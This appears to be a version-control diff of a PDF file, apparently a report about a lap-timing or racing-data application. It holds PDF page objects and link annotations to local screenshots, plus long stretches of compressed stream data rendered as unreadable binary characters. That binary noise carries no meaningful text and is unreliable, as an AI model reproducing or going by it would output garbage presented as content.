<)Z\{eܧО:7>$Lxm6{{Ͳ6}f-QDg 2gXoBigt6]H$HGg߯Sصa;ah.L}m9l -_E8S#2H{yG  -#|=.CwBƐA `_%&g:ǁ -jJKx -FXPuB̓5vy;o 1cD'Xsf$Y/1=HUueڰsgûv2L4.^w@.-gh>^^jH XopD_ʂ AM7RxTzBl)I{u5#ƌ cŵN{ (񍪬S8OfNr&.k1 AH& A0(< 4Rt̤Xנ6AMXG5S=ؤ<+w՛^Xtg)1Si+Tr ""y  'R8-xהԠոoEf)ɒATD'Rm K,@ fnv`PλJ*kjGQp.-HQƠ#P?&hoTrF1[oQ/#)Ǟjc[BxދV zfnV &<)4;.1MϚ[Ljh,0mB` <֬ ^{)t{H4I.(BNL%/&LR%ĮS" B&<2?4L8zSJ8.pPA[_PXrYY ɵ^98sŻ xe4}eeleTymz^2}\ΔZ.KPfˎk%1X7%jeE3Z,+* ST l@"1Ag3ZQ㪅&5 ơc3i߬]e ->8Q H~a0ḋYlv7E۬N%ڳPV3f#'(CZ+.(PȺv8FPP}Rl#QcLñP3A@ufIE2ļе_aM^ I7<ҞjlOkoI!5QP2_TNbkF&)X _B@Ŷϼ'U]3cΕtH;fJG()vآ?<ȏ:^ Q+m*3<޹-).<]5xk5oKv]v)j.flnBbm }@0O/kU)NS%fapD`:7M Y 3S`M;mP#| EɋI/5HmJC 69xXJ2Eo`̻MKacJQl[9^6#4#xw.s]x0~FV4\ `>M%|erZ\z;HteZԎ3:DŽ[kbtͭac Kw]s]7LX4| 7|k9*Uo p*_5:1&o#Í4<5[ݪ1Mb:-xUO_@~3#Dw+ rISpn$$F?u#T!sRD + SPE%vX.h""DFL4ՅFddN}5$0 1#aË%Ȭi˱ZOIiOb -endstream -endobj -788 0 obj -<< /Type /Page /Parent 1 0 R /MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 787 0 R +/Contents 786 0 R /Resources 4 0 R +/Annots [ 788 0 R 789 0 R 790 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> endobj +788 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 243.642822 39.386457 228.628422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleLapTimeBefore.png) +>> +>> +endobj 789 0 obj << -/Filter /FlateDecode -/Length 3994 +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 243.642822 115.136457 216.642822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleLapTimeBefore.png) +>> >> -stream -x\[$~_φȺ_`H 6 a;ss#Aqn+[Z,m˵DEtĶI7҇%ؗvzv>FJ_(c)ܛF7[ - Ϗ庂͍y"Dmt1x:oArJ Ҙ[^f0Pbb+5A0Ey[_M2, iEI(0sn{i-(17g2h0ۖ[i:Mj;oǿ2V42Ys' IQ֔)N[4@y7 MM&X̣ -0 - -/FwGp!^mӦ*4oσ4txUs o!7-z͵;سk%%nÈѡДc Sd<, zkX^a$+Y锳,H淌jz?ӗ坒\l2Wk^\RJdCF(^u0?u0Vw9ꢒOУC)AkLł :Bl -RTpe2ʥCfk}Ԑmչ"+̀LIEn q%)P-Lx 8P`ˤKUP_uGuG[!.4B@M],SZ 3xDi-EOWX:%ڇk#T>0A6}ߝe)-"i_ϡ,f ^;h$")T)9O _̍(QE k}>G3Gئt9#ϬA;CɢhT(1;C ?S}4"(+ E5, LQh?5nݹtH\\Wc.2J W[еM{pu|4Q]sXIU`$w kǵЇ(kh$#?@9orq?51(|JCV^1qKKoPFǓL}V15+rqHt@WNF#*5qn';Μ tlPHJ5i䧓L0a}pH~M#y`MDS9o UҜ=s>iʶ|rr&E`Ml#*2^vzgLiHgeKoq[ʝ]H6!,I33Xژ2lwaJ\Գ*8WϨB3\r3r@2j @Z"8,Іi.1+PB[zjz -DZJ@I1agC4Sc!HP14#K?fJ;a+w "E3gOV5LFJOOԈ8;U&Vn#%k@> #:S` ӆ뉅7t00\ 5M|t0pQFbkg`7t0DbDũB3 i z硭g?PC]boͲ}0K1Xb6FApHuئAc7 D4Ei""EG{QcEw$+} ZWk˖BD)܉jLKPxx:ixZͪe,!r 8fZMOkabx -B %,aRNukG̮MDfܚVxH]$ -t!5X{FtmFbFC[)( gܖطר@F2I7[SGr>-\D06氆5'.^-]Bh0B*R3 0ヹb)*=&i_K)LJ/Mݧۏό,gh/xRTd"G~!;sNOPO.|'@vžrd(a^G樸/ S+@E2B%bpHuP٦Ae7@eTlU`>cL"u䷄jWTKU]:VB']p#!gHNQv_:l+[8B!{fQFS}I zVr].myWUZ 'nU9%) UM@v?zTJkx'EQ99R+ߍVwNBҵKɈ&4{٥dl*h+WJs:\W&[Yjぎ]fu~zx\EUejx}rd =H nZL< -@9.&3"7d8똲1?Igq͔VRp T| fBLB9PhdMݧuvi6.?V -XB6qOr8sxfY3ᓗZ>23hiOgfc4'I`mZ2xnUd+`EcB]jIlɴvHNϛ'Pi6R ЭC3X3Y8u4j4o)gxp|pR,FeBj OORag5MⲷQ-@ǿti72-[gy`X5O 6hÖj&- -Qe( 11rx pk,BFS\w)Wu~AmL{B6&qF|/?~u<s=7qTsͨtE>粺1O _fŔB-nh_~k&&^s: -3(^W 燇zꃬޛ#̲CX{;xjǿ@VPmzai&s1Rô1q=jALxeWabNw&߇PalU(ԅE/[|I,g /(U YPfaw򸈑kjg``}u -QH}fttka&9ar,.5G OI]*#$}Qf{ih"KBwtT/͓%LCTuē>(SB$ULUb! -cZ~5O$80.6 U |VqམngHTV "}T&s|<_^kO5 -xqޤc:v8;!'Ow;ٳ(Ǥu˚LSܒHHߕulG L,H 8~VqnxVuʌ3gg#]o{p .P"bL: -6su"?]&&K8׈9'>eb0+/AOC\bEssІHAJ -endstream endobj 790 0 obj << -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 789 0 R -/Resources 4 0 R -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 216.642822 297.637795 201.628422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ExempleLapTimeBefore.png) +>> >> endobj 791 0 obj << /Filter /FlateDecode -/Length 1228 +/Length 2038 >> stream -xXK7 ϯ?P^XH{H{Y`(zqCR$@))xF")>>b̪7*_ϟ/V4Un⢊l kʧdR^Im.:;y)1;)X䐠P|~\6t4Z$m1lH -FF׷O/?oqC1j=.87g0#X+=h{&}uύii\ۇ0zj6/,^/^W|vxcs&dM+("G#6afV"]tCC칽;Tڑr6 -|vKw ~) 丗lNd%s%z6oÎI~xqYuY0do@'[B Tֈ:eDȚ+Gz@ LMsy=9@{8E"s;yh?J\Q=jEޚ gXx 1`rIxuID<"ٹpePD̐N-etA  ^eF8ߖˣr\KN/=( -IoU/*X-{НUG&V*aՏ2'Z)+E :Ʃzl&6W- B^U>&sfe(H6Y)+p՜t s=: 9*-\%b؝H({(L  L(Rl]Ip?EpFls[ޝps٣Rw*QߢV۞䭵[6$K)NgF&k6u={;'|4*CsXLʇq eDus WogkrPװZ -D?' ^uCNMɥ_urP ׀"pnŲ|!V -.&Røׯ} 0,S~;>ulUqųn;9tF^A+8XiPF{cBULW!yo^0Yp!i?' -g}.0nn-rw ? :( -b;)XpzynYP0׆Qy1hx+ +xZ[[7~8υ*_`1yHSh`KZJu(4-I?tF:Mˮu}- +`grpx?iE&M F:ʹ‡ τRRh[>=9.(8w-BHɌ֛B,ËU0pN7FEyńp0Tb KfqB~l=&4gg%b&w,e1gY$+_b%*T$e2*.OF=i#K=ɓٮ47קIM&8k?CmT^{G8ן^""[2x9%W)F"^N0[n<_kv*k_Zqa S#KJV&:jFj#\ۜ>91N6%<+,YK!$U>ng$yL{Զ&I%i}+@Ύυnt<c9Xߗt泼Yi2۸sZ0{VVqɰ(usrFd8앁I:i5zȻdcC 9ֳ#=y)FtՈ}TeH}(DP-qU'ѻȏބ&?# gLCeN{HT6QS5^S*cՀI=I^GiPR.[ϗ~NѤ.SG450pSkuqFNgN_sם jANT;܌Ga&SjIOqBMO520ϧfhlL0q#|̈́$:=_ƈ8`q9_r5K$3Zz ?ށ!kh*ARs%Q̇0.T rmSLHwt4-Lđu<7Ju`ZH =u{^l +O=fߥ~.bkNȉu)UR5u C$EyrJrCuQNXj]77*Z%*h[{(^pWHT+ߓ.qh0Maи.;fmSoB]F=xXg)nDM7USPekS%ީ|82[ੑ-#{ +5##\"+ + ҔB,c5+ϊ:y>fvMP_u-FF9V:渦9QD5B=pQF{4P*}H qQzB > )pȝ|yvNqSC%&"@&gk澞gبϧvmVMaB+F:Е>3h$&0CzqhFu|L_{/pf=okЯDX UL; uCo@9uzsYśwt)r0=EpY|h~\oSyW`U/ElȔ=;^** 3foN endstream endobj 792 0 obj @@ -11944,14 +10913,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 633.038022 37.466457 620.634822 ] +/Rect [ 39.386457 771.023622 39.386457 756.009222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/error105Loading.png) +/URI (./Images/Screens/VanishRaw.png) >> >> endobj @@ -11959,14 +10928,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 633.038022 557.809134 341.700325 ] +/Rect [ 39.386457 771.023622 181.886457 724.523622 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/error105Loading.png) +/URI (./Images/Screens/VanishRaw.png) >> >> endobj @@ -11974,14 +10943,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 341.700325 297.637795 329.297125 ] +/Rect [ 297.637795 724.523622 297.637795 709.509222 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/error105Loading.png) +/URI (./Images/Screens/VanishRaw.png) >> >> endobj @@ -11989,25 +10958,36 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 293.637925 37.466457 281.234725 ] +/Rect [ 39.386457 288.027222 39.386457 273.012822 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/error105Loading2.png) +/URI (./Images/Photos/SQLite_Logo.png) >> >> endobj 797 0 obj << /Filter /FlateDecode -/Length 1125 +/Length 2125 >> stream -xW͎6)e8X!h{Hs d*!)?!5!K&fM_~"1u>iOY)>٠Br&9!9@TXV9Vi6C*hbQ.9|,i#EŤ,36FNoX)abqF]"GMxe}ƧWѬ8O1z8J޼=U[qNۄd%Nn6@NZ%1PdUE0%W/ߵ|y =E)4My.]^pZZk&n;%9qAx TB9*(R (ׅQA2mB X%Nƹ4ݼ\G2h70#+ʬz ~Gqi+9C(;/sx#99td8QN2: ҈cg1K=fZyY7vEJ dƳeK #@㸔zھt[ -T"T%I#";gnUF`L)kP/ )V@9MGAK"\K`F\- sě~K5nGK^΋H]i9E_獭SfP컱5cht4èC(z3|-4@ }eSl .:.K#Ϗ]I{e*v68nhQ:D$q5|Q$DYby-Y=͟vw9_ N9悑NA3ar3!T@Twӗ݇_8λI)z9|ܽ ƧhQUL(3R%-(T$H6</la(߻ oNF/J`8曻l x\˼*I+ÔSJ4y3hN;~ut0xZD$n0y'Wg 4xgx>7--v +cfmv>TQ h~&j6v"mZgxGUd 2>#rm~o>YbάO}G*d,w<'y9!{,'gOy" QOƘ><%Ԣ[jr0]ӭD:Ǔ T䙬9sR/ P P5͂ +%U{o2l@[MS%N:w+x;ӹ ],LlfA+ΚhW\5:6##Hdwq<4"PvXr|X +E.z=Q(w^d;A6y!Dx~"#íu7E~5e즮 @ŮJ['"s}8xަm5TNTM nИO;J0i4췍k*+WvCM'y ;ePJIʪ1M~F!*nw7\݅ajL\ByjICw 1?sϥ3PP."rZh ȼP ܗõ"$wE>/gpOs_ ]7a9Pk7|r88J&y h%)-rJAg~IC` iD$K n cXDN _P& |#u n@Hc ȩ;dB$+HA6o.C` i9yRb}7a9-~8'oW[]7a5&Er!:NCA$tb!ۈ4Bؕ}OsNC>iq4P;zމHV + qޯ @grk%6~ \Ac3$׋Z,9T.Yt2[uԆݻrƙЀ^Qab^zed`qr/0,I  +~Ws%=rrw + +OvNzȔb`$,X-&8[3Sx+$vj(W~5dUOʢqz$b 9ܒty (ix/CJ endstream endobj 798 0 obj @@ -12017,7 +10997,7 @@ endobj /MediaBox [ 0 0 595.275591 841.889764 ] /Contents 797 0 R /Resources 4 0 R -/Annots [ 799 0 R 800 0 R 801 0 R ] +/Annots [ 799 0 R 800 0 R ] /TrimBox [ 0 0 595.275591 841.889764 ] /BleedBox [ 0 0 595.275591 841.889764 ] >> @@ -12026,14 +11006,14 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 479.685925 ] +/Rect [ 39.386457 771.023622 555.889134 526.115269 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/error105Loading2.png) +/URI (./Images/Photos/SQLite_Logo.png) >> >> endobj @@ -12041,126 +11021,150 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 297.637795 479.685925 297.637795 467.282725 ] +/Rect [ 297.637795 526.115269 297.637795 511.100869 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/error105Loading2.png) +/URI (./Images/Photos/SQLite_Logo.png) >> >> endobj 801 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 265.730725 37.466457 253.327525 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/BEFOREFULLSCREEN.png) ->> ->> -endobj -802 0 obj -<< /Filter /FlateDecode -/Length 479 +/Length 3461 >> stream -xSMo1 ϯc;j8.8nw*Z3"Yy{q(aW*IS`&ɴ}Աf+V*aXdf|>u?vޜZ"TmZ~nL1͡.WAK)`GɹAiJNdv'=v oz<08 <ᘍݐ)Y Bp 6%P@UdY0>%B`.M~ƀ_S`\B3äyLs2G^8F()O3s |j nA? 0 dY3P0.>`_ HPbE(I{<kmZ@L;~(Ќ*ӼNz_\0G\(x/%_|i%P^F$X\>[(t`]+C9G - jyю`vS+cE5g| +x\[#~B_p 0LMB|<}9HjI]%vO3̜cY頋JdqDkg'@/_O1t4 Nx&*6*ŌVo?>{J]Pq; !%3"XoRqNE0~[|w!,$*kZ43/,dv rn:Z/?}J)"1 e Wҩ/2 Mm3,鵱emni_~y/-.ru*#/ϯ.?z/oE\Lb|I~׽ۀF/WK~eLݡ^waV=5<WWI50r24sAJ0=!Z-Q-kLf jѠ_(uɟctV!Ë9eb/E t'T{l^ whT$WЃB8Y o`JfO)Ƭg/7.AuqJCpp͙l|iO-%5[*)+5@V~H.^dWg5RVEqb:@Jum$4& קs$79Јdoļ ϭ ʇ80HUDpL5吊%H(ɿt_RNvu}68tjAW;*';`VD G] @+= !٠=N T"g6%uH#~Fߑ$J۝hȒjnSNX)Z`TC < [)!HPr|c98'I&B(Fq9PV߷ +N}* ,kjN'k&Џtp"0.y櫋GCZOe/Dy}a]wCTј΀mh|;Ԣl +bΒ(!5i4T^_M)p)ߍֻkyr!F\oٚbG55Na opڥ}J-e0_=jX\S=( ~HYu ݩl>N F?kS7ٻݟ?,@XDsgL%%ZLT'SĚq]".[X >Nu,i%CҞu`9sh8d-Ru8t"j{}2i=$`Q`YFlUڌEc^ʲ by9Μ_2T4;0T9($ ! gPZ1Q;4a!9=\0NRb{ vd9,$gpud6-:{ 3Fcܮ(nY-  ,[]ҝ-JS0`$"}BDŽpi氐.@$"{\oȑI氐$"zN vmFqmH +hv%nCܒ[` +I`Kܒ[a I`Kܒ[$ sXHdd6Ē܎q6 vmFR@{+q|PB4sPHNN[}PB4 sXHNN[}P"G&iBrW&%{q 4f6#)ە qKv>&nT9($K'-qK>&n\9,$K'-qK>&n#4a!9+I`Kܒ[X@3۸j8n-JS0`$!n-K0p$!n-rd9,$gpe2 l[Aq=ShFqڌ>nW6-Pi +栐,-pi氐.-EL0 L&-qK>&nHڇ٭H +hv%nCܒ[` +I`Kܒ[a I`Kܒ[$ sXHddv$-}--- qҝ[` +I`Cҽ[a I`Cҽ[$ sXݡ9ۗBztp|LJL[W~_g!sP;^o8@q|:O϶#Nʒ ޏza)>GAt#0ot` ~CDQpH,GDӭ~)~W폸Ճ__mztvGz<>eD@K8*͗БA{שe4LH원`ٟ%$0(Esmj8uSirew4@Ƒպ%MɷʜQRwem/S!hLrQ#ܜP%kdyc)đ[o"ޡzS)5ߖ{ x_T" .Mc=Tܣ*\L &;S퉁Rv;rOz/NzcJn?w(zWsJ]SNHA9!X,5ݗkU[iKK.ի浪k:!Ճ]Ti_@> endobj +803 0 obj +<< +/Filter /FlateDecode +/Length 3824 +>> +stream +x\َ}WBs_H&$2lVrr"%VI-!nؒYys5;RdZg<(1ŸУOx 1NqNi-h%Q.Qr?y1kqNs*߃/?>ǟ{x"CC ~|`IX$b˭Wϔ3 꼼J_ALi}mzytޟOT-g=zP&qӿU9ʼyAe7ק<9XVֲʀ[ +KR`~ M(uXV'I`>Ҋ3#TWO'v " 0 ~>I#;j4{l 9 %:CUţ:d'vȠ$_I-pi~~1=|DXz*$.┌p!`1@RjRh|Ζ :d7!Mű3/qL6м b% 7Bg`Ѿ٦{^8UllJuIb5ŷx1B +dT/X<CH$㷎n O2|.ϲU +MrF3B6fGO$k:Sp$A# 䳩*8: +@æ+緅L(ƆH/e?J%TJDT(lm%g[4,vV Eb%,#G 5ӌL$!çɠsɰ䰔uJԆHD -)#֨`(u]Lm|)$8NK^gQ06YrW27C1ZLZvIw\/32{m5iBi#'؊BLj2VnM  +SGG`;3ʅTqHG ի2K؁/8"&,ف2%CԨ p?5-}> Yxl,4:L!=R" ~._$T/uώm`HL$X;)D10..'+(+H "aJϓ<=,OicgEb* P50K,3j E8+g`lq% x1Lң*xC@0b! 1b ++9ga|4p_[/&[j~a7^(TA xS1,nW6Qv r(Y UCIɹRBwhŮ0MtmйU+5]$ȄvMH֪WZϕ>0n33VY>?vi/Y{f19]ܜc'f'ff}bN1mYLY<*0L\¾ -&{}uEY#9.k_4n靶Ba43p`GQ)/PzRIFa&EafǾ'a!DDf?Faf¬{nf#0j +Bf6wR[ QYޓi +'9n0wZe8aj97QXPD{6ߙ +H Ȫm#RsK/I6^qtcFMF]~¯' +ʣWow>,@P@1|xDr5ʫ7@FZ +U/XݛܡkS'AW)i^BE:ʷbO tJ8/Oߍ;(0O|.kbhٝ}T +endstream +endobj 804 0 obj << -/Type /Annot -/Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 468.845453 ] -/BS << -/W 0 ->> -/A << -/Type /Action -/S /URI -/URI (./Images/Screens/BEFOREFULLSCREEN.png) ->> +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 803 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] >> endobj 805 0 obj << +/Filter /FlateDecode +/Length 3044 +>> +stream +x[Yo#~ׯX6H$As,<Ȳ0`6HMlRb[ݗиd8rF?N 朷F/_Y慨ϗzf9 +DŽRIh=r߇YέG!d qӏg^B*.<{8.nAdA"ȑ÷Yƹ7(+80Apg<pş/I8 (9ZN02se<|HTufpɍ#k3w{C5C(wtfHgx|f[dEڭPljp'3`}Y71 +a k(0D*0?"D=($AW&~y&C/2]ωD#4X,t?c`/DeLk "]/5Ț%2xo^$F W?-&sz4qfV0FDd(%Vϟkdd] H +\nXmh9dUHœ ־|NӷcZ4G!uv5ߺ_1hdW5F0BTC_+u2Zl ]Ay%(oXB"'?׊)>hVOt) C=!ً; F^D<*ţ*%R +K)ccJ4fVt'I$**ڀ )T׭.\zRrQYyea㐕w-\܄ TsB pFpu((AFΰ>W",.uPtvNJD9oɥ#[|A dGcfSDx Cڵ$Ӿ-TZlM U@7_jٸ1BNXWa!qrK1~F!Jw)739{АVC$5zEmhh|Ub][t@6EZ/&W7h4!NM2^26^#)E]vL$TKR!\  +443\$BÜT/8]I;J~9BY^x`ZG<_^Wl5r~grn+ol807[,cYB̅ +VGP iI 9#d|i.sH!Fn nՈɋ5厼ff)5N2 *@M{WMiM`7m^%^謙s *H2$y7Zdh$=d^G+!0HFsfݶoK?Ix(K6e@-ƆuhXjwYNm['tzUصzz|جtAtk60gEHK0tUY^QS\Q5zDvV쁅V;ykƄ&XeZi`{LRsA)֌&Ν$>1 Fkႆ7]j R9f{J"BoDZ!PJgVCnbr +8*L'8ymEso$/jϡ9 +|뽹Y4҄Mrϡ!&-#T^*S7**z^yh3)x'܆6wG} zȳ"swc3%8IPմJG}Vw4+ӅV;Skv*L/g:'FDi 0|T=v\ +thu}'iJCl*I-iZ##`t^G$quoFX3nUVF h";CL+xLj( +œNo3;H=i)~wvzAa9o*sXU,QYv5 7Po(PXKB~i㗑v?_$y-~UKD +浕nyHU;GړFÞ4d=iU]JoKwG6, "5ə+hsԾ+ht PܴL AJ)Zp~G{Bư}u;rY/2ȵAt7P#N&B~ya᰼q$E.JGde0X% )/ᆏ$}z0x5NެB3o 0k$9BWb>.6@-@Pw"^8yqGof )'0ܺiS&ǮuaL]sE{G=jGapa(0RȊ92ON_` C&v=YچJJ >5 +endstream +endobj +806 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 805 0 R +/Resources 4 0 R +/Annots [ 807 0 R 808 0 R 809 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +807 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 468.845453 297.637795 456.442253 ] +/Rect [ 39.386457 561.948102 39.386457 546.933702 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/BEFOREFULLSCREEN.png) +/URI (./Images/Screens/CroppedTyres.png) >> >> endobj -806 0 obj -<< -/Filter /FlateDecode -/Length 2151 ->> -stream -xZYG~ׯ?v}I N9 A`CG#,xBSM]ut͢7*璢_RW)/7ppIlKlrYmΩiޟSIb*s@ -ËQzy5Q*a#4"R1BMU,{7Vcş9p.ߝN^x_?{[J8囿YV["dT6'0弁n!lhk&6éX-YrlryqYõƤ&Q,2vQ+?ӫ-HA(b"* -hꘑmÑ~۝ȎӐca:F]s Xߊԕ{,Uz߱S mBR;@p?7.\j1#mtM6~)>cX\t!+zxAC>V.C"9fFYNicSp'۔6)Sv aE~I© 6Eqql{hGR%pZ-Cm9}xmhꍮZfe2F?Ƈp 0,m!%謍/:mpFV_VPi!%! nL\1ut A q3H'-u2ŏ*%ml VB0]zMJi2"NGĔj951`$~)4~ohU1hZ#*bTTR& -b*Dt5t7)<8 vݦL!8†v©<\rz!XP@t4$|?NwOHÕ+a?R5Κ2͛ +?P67Zqգѭ8t1DÇm}fgUC!٪PP9[:8-^%8U!C&M"/PZs(Z@4MxTFK\XOuo2,CY‰Cn2) Lv aE~ eKnq<߆]r ُ=.2QXM[o)7\ -Þ(?u'(6ꧪf+{O{OrJ<<-"VOmؘ,&MpX:6POxmB͇\d+.@Wi! -t?3(N% g[/$ -O -PN}5B9=*m'E F $0%)_([$jliOrh' Gd1\BʶD-HBb-fȶD, -?0Ao1 A?> -endobj 808 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 37.466457 758.620422 ] +/Rect [ 39.386457 561.948102 129.386457 473.448102 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AFTERFULLSCREEN.png) +/URI (./Images/Screens/CroppedTyres.png) >> >> endobj @@ -12168,71 +11172,74 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 771.023622 557.809134 478.473713 ] +/Rect [ 297.637795 473.448102 297.637795 458.433702 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AFTERFULLSCREEN.png) +/URI (./Images/Screens/CroppedTyres.png) >> >> endobj 810 0 obj << +/Filter /FlateDecode +/Length 2781 +>> +stream +x[[~s^)ڤ8M66 >uPCJ$GhSӾ,|xf曡ǟ/`yk0~>8cKg2뵴f) %`# +ᗷxYέR2-q:CÇ`|߇3.4-U~,J*Bk\A0SSs5Kn ўi瘱Q1 LJΜ!(oX_,՞͜!ZH639RÇۯqA.}9~z\y(k>Ͽ}t_6SvJq=sNR[:!czx\Z2>툞I+k>Iyb=WI.5礟!׶I{gxq-'K@QWaD48R+<. .)WNH p2.|ШEv0#2_}퟾`dFqB?g䤹M#wN7[wtq)=J l7y}֍;9fliLlKk6mٔy4%O +1 <'6B*&^*y!QAv=mSG )_,~e s3/F:8/)RPb^c4B9(`!# +WF$s^R= dz'Vw r~(!f X[\MJ +'›< *Y:c}yaG;qmɼL9JLlX$ igQ6*U#f kQճlfVKaL7֩AW=ih#6m94HW HcYT"'^f>ݻŊj:q_=.9$k9FoG^J@bXm!8B|B.UeKx1Y,=RoZZgS4^yiRm^5|ץ y<R6 ? ^.kyt5[kꃱ+vmkGHɸYjs_e'%J +ͬcץvʐ3R! p*&O< +YSQnUkSxe[8|OkV L%fJ%N{ZshRDQgؔMPML=mTA"QeAh^58LkQK yGJhwdqf!g/JSԳ.JjӃ7\i=EUߵ3En +둌d~.֫r(ޔOKL8%}Kk#hd3s۰4^fȶ0LxR֮;8]h:T[E*ED/I !i1q}W̛XqmY=Ɏy9SJIV'C/ ElAbÍ$U/`pH2VuZDmw>遉'l ߽ɹ5! i%p &pG70DZK90Ō֌Gx|\ų+\c(3RV`Nۂqn)dxf @.#!3!%]Yɔz?.23tA@ ,v[>.! G,YV.IH^TR  (tr $p_6X`FؕO}`KJ Dbh7wJf6Y:TNXL}Fl1J޹#,Qum ,Kris\Rdwd+{XkNR!ȰQW; rn𞫓{< (uC-+IP[0(pbzn8xyB,Y%OB =$>mV }RI$z}֜Ժk@62\p׍}>A 'nu@+rbR1E"k1 ҩM:X> +endobj +812 0 obj +<< /Type /Annot /Subtype /Link -/Rect [ 297.637795 478.473713 297.637795 466.070513 ] +/Rect [ 39.386457 267.179358 39.386457 252.164958 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/AFTERFULLSCREEN.png) +/URI (./Images/Screens/SmallDriverInfoExemple.png) >> >> endobj -811 0 obj -<< -/Filter /FlateDecode -/Length 2554 ->> -stream -xZm$ ޿?7ȆIB5G`7a/",[vg6@U~dYz$:JJ*BO)>!^HG#>RZ PH-1}~<'ZjoP+~:("dfcG6܍}l> %c v*+ذƨjK*˸3% 22ǎ 8ijW[d)u5H\-KI'ݟ߿G*oRj+%PgNo^,]i|]p {)9 \?vX~!u| pNc4Ssa?Am.4c'{NK.e\xH\Yga)yҳ.m.MDzXZۜ7sG~8>ߵ -4_"@b^rӠ8Ԧ,^f~T T闕M? l~ -jvdp 7[|mGFLF M͍=xPoZ&ZhϰUƦ0}607UhPHq0u]-d|H[u>sB:1 nZTg,j^h)r'`{yϟM $[2ݕQOèE - ́f끎PXWZW#lsp:Z+6o.:のAm;r* wHGo,~WߴI.T! )?MjUo_UzV뵖1b=w5N-]8cc͡YK4N'Zuacӏ9ψcTZ-$t@?f|CI{=rAym \1]0ڒfOBzob4ALzO0y>iNCL58pMmTp'q$̞9}9@UNz2IW3>WTh7D+zթ<-}G' X"ԒIJPs"{PF - -xNBUcN&-SjԹ UVX6v^߮yh/rFyNcaD%Yp|1DZTm?7n7)(bBDtG71M]?)xIQۻZ=9V_TS>Wuy׍zL}n,0)5<,_蔿/St>V;Ⰿ`RaڍCo7ކڼ9dBp^|qA Ɏk ?tDF^{"nLyP᛿m.2RVv ;1o-Z:Č!+OQ``)P!_ڄAQM~KeGH/jW 8lĔdW}n,UƐ|@l ht& =m9sPqXuǘ^n -; oLHGmXȭXj)' u>>2H]ztRCPS#.4M9[*4 U^4,N**vo8^ Qz\<â%guI5Ǧ s%t#;:BbsÊuL+3EwƟ`A }7> -endstream -endobj -812 0 obj -<< -/Type /Page -/Parent 1 0 R -/MediaBox [ 0 0 595.275591 841.889764 ] -/Contents 811 0 R -/Resources 4 0 R -/Annots [ 813 0 R 814 0 R 815 0 R ] -/TrimBox [ 0 0 595.275591 841.889764 ] -/BleedBox [ 0 0 595.275591 841.889764 ] ->> -endobj 813 0 obj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 396.071022 37.466457 383.667822 ] +/Rect [ 39.386457 267.179358 251.636457 93.929358 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/SettingsUI1.png) +/URI (./Images/Screens/SmallDriverInfoExemple.png) >> >> endobj @@ -12240,489 +11247,605 @@ endobj << /Type /Annot /Subtype /Link -/Rect [ 37.466457 396.071022 557.809134 128.434020 ] +/Rect [ 297.637795 93.929358 297.637795 78.914958 ] /BS << /W 0 >> /A << /Type /Action /S /URI -/URI (./Images/Screens/SettingsUI1.png) +/URI (./Images/Screens/SmallDriverInfoExemple.png) >> >> endobj 815 0 obj << +/Filter /FlateDecode +/Length 2541 +>> +stream +x[ݮ SV#~[bڢgE, +촘dɦm9N^8-Qȏ1Gͯo Шwx/1G#* x&(cnP|_>1*2Jwcz(}?+OOU_ xWS1w4(@_?'i-Ï/|+?.Zc_5__:]̟+?/MY{)6:q<'+x %ݟ~Nr j04 w|Z=ݪe֣V% 4Zm}n#[X¾aQd/⛈mu}kJ[y,]7Է|,չ>O]p[ 3;׬vY:Hzw;o՞ tɬtY/TKo`b ֗z`熂IЗ+L}N_SF'.zS;1&ړ+ 7cI9K瞯)]:!-ɐuYC{J$a| XJ[1}. +$¡F<`o1+^ _g;nkT_GcRz:s6 pcL0X;#2 w;XTøP $ 